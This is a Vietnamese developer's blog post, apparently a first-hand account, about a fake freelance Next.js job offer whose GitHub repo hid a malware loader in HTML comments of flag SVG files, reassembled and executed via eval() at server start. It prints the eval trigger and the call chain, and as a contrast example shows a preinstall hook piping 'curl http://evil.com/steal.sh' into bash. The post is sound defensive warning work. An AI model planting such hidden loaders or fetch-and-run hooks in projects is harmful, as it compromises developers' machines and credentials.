Case study: chiêu thức scam cài malware bằng SVG, nhắm vào dev freelancer
Tối nay mình vừa trải qua một đêm với nhiều cảm xúc, từ mừng rỡ, bất ngờ đến cảm thấy ngờ ngợ, rồi cuối cùng đến ú oà. Câu chuyện bắt đầu từ một nền tảng freelancer mà lâu rồi mình chưa có job :v. Nay tự nhiên có một người lạ nhắn tin hỏi mình có làm Next.js được không, rồi mời mình vào repo GitHub của họ. Ôi mừng lắm chứ, vui lắm chứ, cảm giác như nắng hạn gặp mưa rào. Và câu chuyện chả có gì đáng chú ý cho đến khi mình phát hiện ra trong cái repo đó lại giấu một đường dây malware tinh vi đến mức mà nếu bạn chỉ npm install rồi npm run dev như thói quen thì coi như xong phim.
Bài viết này mình sẽ kể lại toàn bộ quá trình từ lúc nhận tin nhắn đến lúc mình bóc trần được malware, để anh em dev freelancer cảnh giác hơn với kiểu tấn công social engineering này.
Khởi đầu: Tin nhắn "ngon ăn"
Mọi chuyện bắt đầu khi một người có tên là Nate nhắn tin cho mình trên nền tảng freelancer:
"Hi, How many years of Next.js experience do you have?"
Mình trả lời bình thường, rằng mình làm Next.js khoảng x năm, kỹ năng giờ ở tầm vóc thiên hà :v. Và rồi, tin nhắn tiếp theo đến:
"We are looking for an experienced developer or development team to complete and improve our existing Airline Room website based on our current GitHub repository..."
Một bản mô tả dự án cực kỳ chỉn chu, chi tiết đến từng dòng: homepage, blog system, chatbot integration, ticket appointment system, API integration, deployment support... Ngân sách $6,000 – $12,000, timeline 6-8 tuần. Đọc xong mà mắt sáng rỡ luôn.
Họ còn gửi kèm file Airline Requirements.pdf đàng hoàng. Nhìn qua thì chuyên nghiệp vô cùng.
Mình hỏi lại: "Cho mình xem GitHub repo, API docs, và Figma design được không?"
Phía bên kia đáp:
"Before sharing the repository, there is one thing I would like to mention. Please ensure that you strictly adhere to the Non-Disclosure Agreement (NDA) regarding the sharing of our project."
Rồi họ xin GitHub username của mình, add vào repo, và bảo: "sent invitation. you have access to repo."
Đến đây, mọi thứ nhìn qua thì rất hợp lý. Một dự án website hãng hàng không, có requirements PDF, có NDA, có repo GitHub... Ngon lành cành đào chứ nhỉ?
Trực giác dev: "Khoan, để tui đọc source cái đã"
Nhưng mình có một thói quen mà nhiều năm đi làm đã rèn cho mình: nghi ngờ đồ người khác đưa. Mà trong nghề này thứ đó chính là repo code, đặc biệt là từ người lạ trên internet. Kinh nghiệm cho thấy không có chuyện gì ngon ăn từ trên trời rơi xuống cả. Đa số sẽ có gì đó rất lạ, rất "sai sai".
Thay vì clone về, npm install rồi npm run dev ngay, mình mở repo trên GitHub và bắt đầu đọc cấu trúc project.
Cái cảm giác ban đầu là "hmm, package.json an toàn, list packages nhìn ổn, cấu trúc thư mục rõ ràng, có server/, có public/, có components đàng hoàng". Nhưng project quy mô hàng không mà initial commit 4 hours trước :v. Và commit cũng chả ra hồn khi dùng 1 từ duy nhất để commit: "create"
).

Bước 1: server/index.js - Cuộc gọi đáng ngờ đầu tiên
Xong package.json rồi ha, giờ mở file server/index.js ra. Mình thấy ngoài những dòng setup server bình thường, có một dòng gọi hàm loadEnv() từ file server/lib/env.js.
// server/index.js
const { loadEnv } = require('./lib/env');
loadEnv();
loadEnv()? Nghe thì bình thường, ai mà chả load biến môi trường. Nhưng trong Node thì cái này có vấn đề lắm luôn! Và mình tò mò bấm vào xem thử...

Bước 2: server/lib/env.js - Cái bẫy bắt đầu lộ mặt
Bên trong file env.js, thay vì đơn giản là đọc file .env và set biến môi trường, mình thấy nó gọi thêm một hàm có cái tên trông "vô tội" nhưng lại rất đáng ngờ: runServerStartupLogs().
Hàm này nằm trong một file khác: serverStartup.js. Tên file nghe rất "chính danh" phải không? Ai mà nghi ngờ một file tên là serverStartup chứ?

Bước 3: gọi eval - Giỡn hả, gọi eval trong code làm gì zậy???
Và mở file serverStartup.js ra coi nào, ấy chà chà hàm runServerStartupLogs(), mày gọi cái gì đây nhỉ? Gọi eval à. Tới đây thì rõ ràng 100% là có vấn đề rồi, scam rồi. Vì chả có lý do gì để gọi eval trong code cả, đặc biệt là khi "startup logs" :v

Nhưng để coi, validation cái gì đây nhỉ?
Bước 4: validation.js - Đọc file SVG để... "validate"?
Và đây là lúc mọi thứ bắt đầu hấp dẫn.
File validation.js không hề validate bất cứ thứ gì. Thay vào đó, nó làm một việc cực kỳ quái đản: đọc tất cả các file .svg bên trong thư mục public/flags/.
Bạn nghe không nhầm đâu. File SVG, những file hình ảnh cờ quốc gia trông vô hại, lại là nơi giấu malware.

Script này dùng regex để tìm kiếm các đoạn HTML comment (<!-- ... -->) (xin lỗi nếu các bạn không thấy vì trình biên dịch, đại khái nó là comment html) bên trong các file SVG. Và bên trong những comment đó là các đoạn base64 encoded payload được chia nhỏ và rải đều ra nhiều file SVG khác nhau.
Sau đó thực hiện parse và nối các chuỗi base64 lại.


Bạn hình dung thế này nhé: thay vì giấu malware vào một file duy nhất (dễ bị phát hiện), họ xé nhỏ mã độc ra thành nhiều mảnh, rồi nhét vào HTML comment của hàng chục file SVG cờ quốc gia. Khi script chạy, nó gom tất cả các mảnh lại, ghép thành một chuỗi base64 hoàn chỉnh.
Chiêu này thực sự rất khôn, vì:
- File SVG là file hình ảnh, ai mà đi mở ra đọc từng dòng?
- HTML comment trong SVG là hoàn toàn hợp lệ, không có scanner nào báo lỗi
- Payload được chia nhỏ nên mỗi file chứa rất ít nội dung đáng ngờ

Bước 5: Dính chưởng
Quay lại file serverStartup.js. Bạn còn nhớ nó có một hàm tên Check() không? Thực chất nó là bộ giải mã base64 tự chế. Thay vì dùng hàm decode sẵn của JS thì nó chế ra một hàm decode khác để qua mặt trình quét và tránh sự nghi ngờ.
Và sau khi decode xong, như bạn thấy thì nó gọi eval để chạy đoạn code này, và thế là.... boom!!!
try {
eval(Check(validation()));
} catch (err) {}
eval(): cái hàm mà bất kỳ developer nào cũng biết là nguy hiểm. Nó thực thi bất kỳ đoạn code JavaScript nào được truyền vào dưới dạng chuỗi. Trong trường hợp này, payload đã giải mã có thể làm bất cứ gì: đánh cắp token, cookie, private key, ví crypto, thậm chí cài backdoor vào máy bạn.
Tóm tắt luồng tấn công
Để anh em dễ hình dung, đây là toàn bộ luồng thực thi malware:
npm run dev
└── server/index.js
└── loadEnv() (from server/lib/env.js)
└── runServerStartupLogs()
└── validation.js
│ └── Đọc tất cả file .svg trong public/flags/
│ └── Trích xuất base64 từ HTML comments (<!-- -->)
│ └── Ghép nối thành chuỗi base64 hoàn chỉnh
└── serverStartup.js
└── Check() - decode base64
└── eval() - THỰC THI MÃ ĐỘC
Chỉ cần bạn chạy npm run dev hoặc node server/index.js là toàn bộ chuỗi tấn công được kích hoạt. Không có bất kỳ warning nào. Không có popup nào hỏi bạn có muốn chạy không. Âm thầm và chết chóc.
So với chiêu cũ: postinstall trong package.json
Thực ra đây không phải lần đầu mình thấy kiểu tấn công qua repo GitHub. Trước đây mình đã từng gặp một chiêu phổ biến hơn: chèn mã độc vào preinstall hoặc postinstall script trong package.json.
Kiểu đó trông như thế này:
{
"scripts": {
"preinstall": "node ./scripts/setup.js && curl -s http://evil.com/steal.sh | bash",
"postinstall": "node ./scripts/init.js"
}
}
Nghĩa là chỉ cần bạn gõ npm install, thậm chí chưa cần npm run dev là mã độc đã chạy rồi. Nguy hiểm thật đấy, nhưng mà nói thật, chiêu này dễ bị phát hiện lắm. Bất kỳ dev nào có thói quen mở package.json ra đọc trước khi install (mà đa số dev đều làm vậy) là thấy liền. Một cái curl | bash nằm chình ình trong scripts thì có giấu đằng trời cũng lòi.
Nhưng cái case hôm nay thì khác hẳn. Mã độc không nằm trong package.json. Nó không nằm trong bất kỳ file .js nào mà tên nghe có vẻ đáng ngờ. Nó ẩn trong HTML comment của file SVG hình cờ quốc gia, một nơi mà 99.9% developer sẽ không bao giờ mở ra đọc. Đây là một kiểu giấu đánh vào tâm lý lười: từ chỗ "giấu ngay chỗ ai cũng nhìn" sang "giấu ở chỗ không ai thèm nhìn".
Vì sao chiêu này nguy hiểm với dev freelancer?
Mình nghĩ cái đáng sợ nhất không phải là kỹ thuật giấu malware, kỹ thuật này thực ra không quá phức tạp. Cái đáng sợ là đầu tư công sức dùng social engineering phía trước nó.
Mình nhìn lại cách họ tiếp cận:
- Dự án trông rất thật: Airline website, requirements PDF, budget $6K-$12K. Ai mà không có job thời gian dài, không thèm? Mình nghĩ nó chọn mình là vì thời gian dài mình không có job nào cả
bùn thật chứ. - NDA để tạo uy tín: Nhắc đến NDA khiến mọi thứ trông chuyên nghiệp và nghiêm túc hơn. Đồng thời, NDA cũng là cái cớ để bạn không chia sẻ source code cho ai khác review.
- Tạo áp lực thời gian: "Please let us know after reviewing all requirements... If negotiable, we will schedule a meeting." Câu này đẩy bạn vào tâm thế phải nhanh chóng clone repo, chạy project, rồi báo lại.
- Repo trông legit: Cấu trúc thư mục chuẩn chỉnh, có components, có API routes, có cả folder cờ quốc gia :v. Nếu chỉ lướt qua thì không có gì đáng ngờ.
- Việc thì ít, lý thông thì nhiều: Đây là điểm mình thấy khá buồn cười. Nhìn lại toàn bộ cuộc trò chuyện, phía scammer gửi cho mình một bức tường text dài dằng dặc: nào là scope chi tiết, nào là deliverables, nào là timeline, budget, expected communication style... Đọc xong tưởng đang deal với một enterprise client thứ thiệt. Nhưng thực tế thì sao? Cái repo họ quăng cho mình chẳng có bao nhiêu code thực sự đáng giá, phần lớn là boilerplate và... malware. Tỉ lệ "lý thuyết" so với "việc thật" chênh lệch một trời một vực.
Bài học mình rút ra
Sau vụ này, mình tự rút ra vài điều xương máu cho bản thân, chia sẻ lại cho anh em tham khảo:
1. Không bao giờ chạy code từ người lạ trên máy chính
Từ giờ nếu buộc phải chạy code lạ, mình sẽ dùng:
- Docker container hoặc VM cô lập hoàn toàn
- Hoặc chạy trên cloud, không ảnh hưởng máy cá nhân
- Hoặc ít nhất là một tài khoản user riêng trên máy, không có quyền admin
2. Luôn đọc source trước khi chạy
Mình thường chú ý mấy file này đầu tiên:
package.json, xemscriptscó gọi gì lạ không- Entry point của server (thường là
index.js,server.js,app.js) - Bất kỳ file nào có
eval(),Function(),child_process, hoặcexec() - Các file trong thư mục
lib/,utils/,helpers/, nơi hay giấu code "phụ trợ"
3. Không có file nào là "vô hại" cả
Vụ này là minh chứng rõ ràng cho mình: malware không chỉ nằm trong file .js hay .exe. Nó có thể ẩn trong file SVG, file hình ảnh, file font, hay bất kỳ file nào mà mình từng nghĩ là "chắc chắn an toàn".
4. Offer "quá ngon" thì nên nghi ngờ
Budget $6K-$12K cho một dự án mà chưa hề có cuộc gọi video, chưa interview kỹ thuật, chưa thảo luận gì sâu? Chỉ nhắn tin vài dòng rồi quăng repo cho xem?
Mình tự nhắc bản thân: nếu nó quá ngon để là thật, thì nhiều khả năng nó không phải thật.
5. Report ngay cho nền tảng
Mình đã report tên này trên nền tảng freelancer, và report repo lên Github luôn ngay sau khi phát hiện. Nếu anh em gặp case tương tự thì cũng nên report lại để bảo vệ những dev khác nhé.

Lời kết
Mình viết bài này không phải để khoe gì đâu, mình nhìn lại thì nó cũng khá đơn giản chả có gì phức tạp. Thật ra, nếu hôm nay mình lười hơn một chút, mệt hơn một chút, hoặc đơn giản là quá phấn khích với cái offer $12K kia (vì thời gian dài không có job nào kiếm cơm thêm) mà clone về chạy luôn, thì giờ mình đã là nạn nhân rồi.
Mình chia sẻ lại câu chuyện này với hi vọng anh em nào đọc được thì cũng cảnh giác hơn. Đọc source trước khi chạy. Nghi ngờ trước khi tin.
Dẫn từ blog của mình
All rights reserved